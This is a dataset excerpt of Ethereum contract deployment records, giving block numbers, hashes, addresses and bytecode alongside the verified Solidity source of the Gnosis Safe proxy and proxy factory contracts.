|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,283 |
5c8fff79d3054154fe399d2f381864ee6a4c8cd4d2ddacad84e08cd8ace2cf9e
|
d423dada11293a9de52a36038335fcbf61136a0cd06230cc972cbc7b970708f4
|
2e05a304d3040f1399c8c20d2a9f659ae7521058
|
5be1de8021cc883456fd11dc5cd3806dbc48d304
|
a982cd650cf22d84a8ca1653408a43cd07c14d18
|
608060405273af1931c20ee0c11bea17a41bfbbad299b2763bc06000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600047905060008111156100cf576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156100cd573d6000803e3d6000fd5b505b5060b4806100de6000396000f3fe6080604052600047905060008111601557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015607b573d6000803e3d6000fd5b505000fea265627a7a72315820b3e69ef9c4f661d59ada7e4a2a73e978652e4bfd9ebdfca6642edb185642883c64736f6c63430005110032
|
6080604052600047905060008111601557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015607b573d6000803e3d6000fd5b505000fea265627a7a72315820b3e69ef9c4f661d59ada7e4a2a73e978652e4bfd9ebdfca6642edb185642883c64736f6c63430005110032
| |
1 | 19,502,284 |
5b43dc7054189f04731b3fa4bae89962a5dfaa40ceec1d945eb33d847f152ffc
|
da9aec27a554f8743a02d09c1ff86224ac412e7f2083ea4e65b2f654dbb8c2a6
|
caba80b1bfe95e625f89fcda47fe57e7858857f5
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
cf14df5521fcc4d70c36e5b4513baf777838de6a
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,292 |
039dc0351153b7077079cd6f58a212de1ff6550006eb4792000363791265c1a5
|
f6cf5783d3885039dd2cf3613cb5a19f22073097ad6b70361adcde8a037828c6
|
433704c40f80cbff02e86fd36bc8bac5e31eb0c1
|
4e59b44847b379578588920ca78fbf26c0b4956c
|
91e60e0613810449d098b0b5ec8b51a0fe8c8985
|
60a060405234801561001057600080fd5b506040516129e13803806129e183398101604081905261002f91610088565b8060405161003c9061007b565b6001600160a01b039091168152602001604051809103906000f080158015610068573d6000803e3d6000fd5b506001600160a01b0316608052506100b8565b612011806109d083390190565b60006020828403121561009a57600080fd5b81516001600160a01b03811681146100b157600080fd5b9392505050565b6080516108f06100e060003960008181604b01528181610114015261025801526108f06000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c806311464fbe146100465780635fbfb9cf146100965780638cb84e18146100a9575b600080fd5b61006d7f000000000000000000000000000000000000000000000000000000000000000081565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b61006d6100a436600461039d565b6100bc565b61006d6100b736600461039d565b6101ee565b6000806100c984846101ee565b905073ffffffffffffffffffffffffffffffffffffffff81163b80156100f1575090506101e8565b60405173ffffffffffffffffffffffffffffffffffffffff8616602482015284907f000000000000000000000000000000000000000000000000000000000000000090604401604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fc4d66de800000000000000000000000000000000000000000000000000000000179052516101b790610390565b6101c2929190610406565b8190604051809103906000f59050801580156101e2573d6000803e3d6000fd5b50925050505b92915050565b60006103578260001b6040518060200161020790610390565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe082820381018352601f90910116604081905273ffffffffffffffffffffffffffffffffffffffff871660248201527f000000000000000000000000000000000000000000000000000000000000000090604401604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152918152602080830180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fc4d66de800000000000000000000000000000000000000000000000000000000179052905161030093929101610406565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529082905261033c9291602001610474565b6040516020818303038152906040528051906020012061035e565b9392505050565b60006103578383306000604051836040820152846020820152828152600b8101905060ff815360559020949350505050565b610417806104a483390190565b600080604083850312156103b057600080fd5b823573ffffffffffffffffffffffffffffffffffffffff811681146103d457600080fd5b946020939093013593505050565b60005b838110156103fd5781810151838201526020016103e5565b50506000910152565b73ffffffffffffffffffffffffffffffffffffffff8316815260406020820152600082518060408401526104418160608501602087016103e2565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016919091016060019392505050565b600083516104868184602088016103e2565b83519083019061049a8183602088016103e2565b0194935050505056fe608060405260405161041738038061041783398101604081905261002291610268565b61002c8282610033565b5050610352565b61003c82610092565b6040516001600160a01b038316907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a280511561008657610081828261010e565b505050565b61008e610185565b5050565b806001600160a01b03163b6000036100cd57604051634c9c8ce360e01b81526001600160a01b03821660048201526024015b60405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80546001600160a01b0319166001600160a01b0392909216919091179055565b6060600080846001600160a01b03168460405161012b9190610336565b600060405180830381855af49150503d8060008114610166576040519150601f19603f3d011682016040523d82523d6000602084013e61016b565b606091505b50909250905061017c8583836101a6565b95945050505050565b34156101a45760405163b398979f60e01b815260040160405180910390fd5b565b6060826101bb576101b682610205565b6101fe565b81511580156101d257506001600160a01b0384163b155b156101fb57604051639996b31560e01b81526001600160a01b03851660048201526024016100c4565b50805b9392505050565b8051156102155780518082602001fd5b604051630a12f52160e11b815260040160405180910390fd5b634e487b7160e01b600052604160045260246000fd5b60005b8381101561025f578181015183820152602001610247565b50506000910152565b6000806040838503121561027b57600080fd5b82516001600160a01b038116811461029257600080fd5b60208401519092506001600160401b03808211156102af57600080fd5b818501915085601f8301126102c357600080fd5b8151818111156102d5576102d561022e565b604051601f8201601f19908116603f011681019083821181831017156102fd576102fd61022e565b8160405282815288602084870101111561031657600080fd5b610327836020830160208801610244565b80955050505050509250929050565b60008251610348818460208701610244565b9190910192915050565b60b7806103606000396000f3fe6080604052600a600c565b005b60186014601a565b605e565b565b600060597f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b905090565b3660008037600080366000845af43d6000803e808015607c573d6000f35b3d6000fdfea2646970667358221220d7f23a80daebb5531c9e4a18d87e812fca112e5df7e56433218edcc12bbe415d64736f6c63430008170033a2646970667358221220f5be4d2659f1a124e46d76b875ad5264a1c62d421946ca067d6132fa6cc4309964736f6c6343000817003360c0604052306080523480156200001557600080fd5b50604051620020113803806200201183398101604081905262000038916200010a565b6001600160a01b03811660a0526200004f62000056565b506200013c565b7ff0c57e16840df040f15088dc2f81fe391c3923bec73e23a9662efc9c229c6a00805468010000000000000000900460ff1615620000a75760405163f92ee8a960e01b815260040160405180910390fd5b80546001600160401b0390811614620001075780546001600160401b0319166001600160401b0390811782556040519081527fc7f505b2f371ae2175ee4913f4499e1f2633a7b5936321eed1cdaeb6115181d29060200160405180910390a15b50565b6000602082840312156200011d57600080fd5b81516001600160a01b03811681146200013557600080fd5b9392505050565b60805160a051611e70620001a160003960008181610320015281816106f00152818161079e0152818161092601528181610b6301528181610baa01528181610d6a015261121e015260008181610f3301528181610f5c015261117d0152611e706000f3fe6080604052600436106101125760003560e01c80638da5cb5b116100a5578063bc197c8111610074578063c4d66de811610059578063c4d66de8146103c1578063d087d288146103e1578063f23a6e61146103f657600080fd5b8063bc197c8114610364578063c399ec88146103ac57600080fd5b80638da5cb5b14610269578063ad3cb1cc146102bb578063b0d691fe14610311578063b61d27f61461034457600080fd5b80634a58db19116100e15780634a58db19146102195780634d44560d146102215780634f1ef2861461024157806352d1902d1461025457600080fd5b806301ffc9a71461011e578063150b7a021461015357806319822f7c146101c957806347e1da2a146101f757600080fd5b3661011957005b600080fd5b34801561012a57600080fd5b5061013e61013936600461179b565b61043c565b60405190151581526020015b60405180910390f35b34801561015f57600080fd5b5061019861016e366004611848565b7f150b7a020000000000000000000000000000000000000000000000000000000095945050505050565b6040517fffffffff00000000000000000000000000000000000000000000000000000000909116815260200161014a565b3480156101d557600080fd5b506101e96101e43660046118bb565b610521565b60405190815260200161014a565b34801561020357600080fd5b50610217610212366004611954565b610547565b005b6102176106ee565b34801561022d57600080fd5b5061021761023c3660046119ee565b610794565b61021761024f366004611a49565b610843565b34801561026057600080fd5b506101e9610862565b34801561027557600080fd5b506000546102969073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161014a565b3480156102c757600080fd5b506103046040518060400160405280600581526020017f352e302e3000000000000000000000000000000000000000000000000000000081525081565b60405161014a9190611b4f565b34801561031d57600080fd5b507f0000000000000000000000000000000000000000000000000000000000000000610296565b34801561035057600080fd5b5061021761035f366004611ba0565b610891565b34801561037057600080fd5b5061019861037f366004611bfc565b7fbc197c810000000000000000000000000000000000000000000000000000000098975050505050505050565b3480156103b857600080fd5b506101e96108e0565b3480156103cd57600080fd5b506102176103dc366004611cbb565b610997565b3480156103ed57600080fd5b506101e9610b16565b34801561040257600080fd5b50610198610411366004611cd8565b7ff23a6e61000000000000000000000000000000000000000000000000000000009695505050505050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f150b7a020000000000000000000000000000000000000000000000000000000014806104cf57507fffffffff0000000000000000000000000000000000000000000000000000000082167f4e2312e000000000000000000000000000000000000000000000000000000000145b8061051b57507fffffffff0000000000000000000000000000000000000000000000000000000082167f01ffc9a700000000000000000000000000000000000000000000000000000000145b92915050565b600061052b610b92565b6105358484610c33565b905061054082610ce7565b9392505050565b61054f610d52565b8481148015610565575082158061056557508281145b6105d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f77726f6e67206172726179206c656e677468730000000000000000000000000060448201526064015b60405180910390fd5b600083900361067c5760005b858110156106765761066e8787838181106105f9576105f9611d42565b905060200201602081019061060e9190611cbb565b600085858581811061062257610622611d42565b90506020028101906106349190611d71565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610e1392505050565b6001016105dc565b506106e6565b60005b858110156106e4576106dc87878381811061069c5761069c611d42565b90506020020160208101906106b19190611cbb565b8686848181106106c3576106c3611d42565b9050602002013585858581811061062257610622611d42565b60010161067f565b505b505050505050565b7f00000000000000000000000000000000000000000000000000000000000000006040517fb760faf900000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff919091169063b760faf99034906024016000604051808303818588803b15801561077957600080fd5b505af115801561078d573d6000803e3d6000fd5b5050505050565b61079c610e90565b7f00000000000000000000000000000000000000000000000000000000000000006040517f205c287800000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff848116600483015260248201849052919091169063205c287890604401600060405180830381600087803b15801561082f57600080fd5b505af11580156106e6573d6000803e3d6000fd5b61084b610f1b565b6108548261101f565b61085e8282611027565b5050565b600061086c611165565b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc90565b610899610d52565b6108da848484848080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250610e1392505050565b50505050565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015260009073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000000000000000000000000000000000000000000016906370a08231906024015b602060405180830381865afa15801561096e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109929190611dd6565b905090565b7ff0c57e16840df040f15088dc2f81fe391c3923bec73e23a9662efc9c229c6a00805468010000000000000000810460ff16159067ffffffffffffffff166000811580156109e25750825b905060008267ffffffffffffffff1660011480156109ff5750303b155b905081158015610a0d575080155b15610a44576040517ff92ee8a900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b84547fffffffffffffffffffffffffffffffffffffffffffffffff00000000000000001660011785558315610aa55784547fffffffffffffffffffffffffffffffffffffffffffffff00ffffffffffffffff16680100000000000000001785555b610aae866111d4565b83156106e65784547fffffffffffffffffffffffffffffffffffffffffffffff00ffffffffffffffff168555604051600181527fc7f505b2f371ae2175ee4913f4499e1f2633a7b5936321eed1cdaeb6115181d29060200160405180910390a1505050505050565b6040517f35567e1a0000000000000000000000000000000000000000000000000000000081523060048201526000602482018190529073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000000000000000000000000000000000000000000016906335567e1a90604401610951565b3373ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001614610c31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f6163636f756e743a206e6f742066726f6d20456e747279506f696e740000000060448201526064016105c7565b565b7f19457468657265756d205369676e6564204d6573736167653a0a3332000000006000908152601c829052603c8120610cae81610c74610100870187611d71565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061126892505050565b60005473ffffffffffffffffffffffffffffffffffffffff908116911614610cda57600191505061051b565b5060009392505050565b50565b8015610ce45760405160009033907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90849084818181858888f193505050503d806000811461078d576040519150601f19603f3d011682016040523d82523d6000602084013e61078d565b3373ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000161480610dad575060005473ffffffffffffffffffffffffffffffffffffffff1633145b610c31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f6163636f756e743a206e6f74204f776e6572206f7220456e747279506f696e7460448201526064016105c7565b6000808473ffffffffffffffffffffffffffffffffffffffff168484604051610e3c9190611def565b60006040518083038185875af1925050503d8060008114610e79576040519150601f19603f3d011682016040523d82523d6000602084013e610e7e565b606091505b50915091508161078d57805160208201fd5b60005473ffffffffffffffffffffffffffffffffffffffff16331480610eb557503330145b610c31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f6f6e6c79206f776e65720000000000000000000000000000000000000000000060448201526064016105c7565b3073ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000161480610fe857507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16610fcf7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1614155b15610c31576040517fe07c8dba00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610ce4610e90565b8173ffffffffffffffffffffffffffffffffffffffff166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa9250505080156110ac575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682019092526110a991810190611dd6565b60015b6110fa576040517f4c9c8ce300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff831660048201526024016105c7565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc8114611156576040517faa1d49a4000000000000000000000000000000000000000000000000000000008152600481018290526024016105c7565b6111608383611292565b505050565b3073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001614610c31576040517fe07c8dba00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff838116918217835560405191927f0000000000000000000000000000000000000000000000000000000000000000909116917f47e55c76e7a6f1fd8996a1da8008c1ea29699cca35e7bcd057f2dec313b6e5de9190a350565b60008060008061127886866112f5565b9250925092506112888282611342565b5090949350505050565b61129b82611446565b60405173ffffffffffffffffffffffffffffffffffffffff8316907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a28051156112ed576111608282611515565b61085e611598565b6000806000835160410361132f5760208401516040850151606086015160001a611321888285856115d0565b95509550955050505061133b565b50508151600091506002905b9250925092565b600082600381111561135657611356611e0b565b0361135f575050565b600182600381111561137357611373611e0b565b036113aa576040517ff645eedf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60028260038111156113be576113be611e0b565b036113f8576040517ffce698f7000000000000000000000000000000000000000000000000000000008152600481018290526024016105c7565b600382600381111561140c5761140c611e0b565b0361085e576040517fd78bce0c000000000000000000000000000000000000000000000000000000008152600481018290526024016105c7565b8073ffffffffffffffffffffffffffffffffffffffff163b6000036114af576040517f4c9c8ce300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff821660048201526024016105c7565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60606000808473ffffffffffffffffffffffffffffffffffffffff168460405161153f9190611def565b600060405180830381855af49150503d806000811461157a576040519150601f19603f3d011682016040523d82523d6000602084013e61157f565b606091505b509150915061158f8583836116ca565b95945050505050565b3415610c31576040517fb398979f00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600080807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a084111561160b57506000915060039050826116c0565b604080516000808252602082018084528a905260ff891692820192909252606081018790526080810186905260019060a0016020604051602081039080840390855afa15801561165f573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166116b6575060009250600191508290506116c0565b9250600091508190505b9450945094915050565b6060826116df576116da82611759565b610540565b8151158015611703575073ffffffffffffffffffffffffffffffffffffffff84163b155b